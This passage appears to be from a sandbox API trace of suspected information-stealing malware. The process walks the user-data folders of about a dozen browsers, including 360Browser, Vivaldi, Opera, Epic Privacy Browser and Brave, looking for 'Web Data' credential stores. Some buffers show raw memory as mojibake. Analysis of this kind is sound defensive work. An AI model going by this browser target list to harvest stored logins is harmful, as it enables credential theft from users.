lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\") returned 0x40 [0075.127] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.127] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 8 [0075.127] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.127] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.127] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned 0x4a [0075.127] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.127] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 8 [0075.127] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.127] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.127] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Vivaldi\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\") returned 0x3f [0075.127] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.127] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 8 [0075.127] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.127] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.127] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Opera Software\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\") returned 0x3e [0075.128] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.128] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍眕㾋眺@") returned 8 [0075.128] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.128] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.128] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Go!\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Go!\\User Data\\") returned 0x3b [0075.128] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Go!\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.128] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍眕㾋眺@") returned 8 [0075.128] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.128] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.128] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\") returned 0x47 [0075.128] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.128] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍眕㾋眺⹇疘⹣疘⹇疘⹣疘桃潲2\x02\n") returned 8 [0075.128] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.128] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.128] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Kometa\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\") returned 0x3e [0075.128] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.128] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍眕㾋眺⹇疘⹣疘⹇疘⹣疘桃潲2\x02\n") returned 8 [0075.128] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.129] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.129] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\uCozMedia\\Uran\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned 0x46 [0075.129] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.129] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍眕㾋眺⹇疘⹣疘⹇疘⹣疘桃潲2\x02\n") returned 8 [0075.129] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.129] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.129] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\QIP Surf\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\") returned 0x40 [0075.129] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.129] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍眕㾋眺⹇疘⹣疘⹇疘⹣疘桃潲2\x02\n") returned 8 [0075.129] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.129] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.129] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Epic Privacy Browser\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned 0x4c [0075.129] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.129] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍眕㾋眺⹇疘⹣疘⹇疘⹣疘桃潲2\x02\n") returned 8 [0075.129] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.129] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.129] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\brave\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\") returned 0x35 [0075.129] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.130] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web 